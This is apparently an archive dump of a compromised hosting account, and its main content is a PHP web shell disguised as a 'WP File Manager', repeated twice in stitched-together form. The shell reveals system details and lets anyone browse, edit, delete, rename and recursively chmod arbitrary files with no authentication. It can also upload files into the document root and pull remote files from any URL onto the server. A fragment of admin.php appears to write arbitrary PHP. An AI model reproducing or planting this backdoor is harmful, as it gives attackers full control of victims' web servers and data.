'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{],¶òjj admin.phpnu„[µü¤". $phpCode); } ?> PK’&{]—°JBB!send@autoshkolla.com.al/.metadatanu„[µü¤[addressbook] type VADDRESSBOOK protected 1 description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book [calendar] type VCALENDAR protected 1 calendar-color #ff6c2c displayname cPanel CalDAV Calendar description Default Calendar automatically created for your account. PK’&{]„N9³§Ë§Ësend@autoshkolla.com.al/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
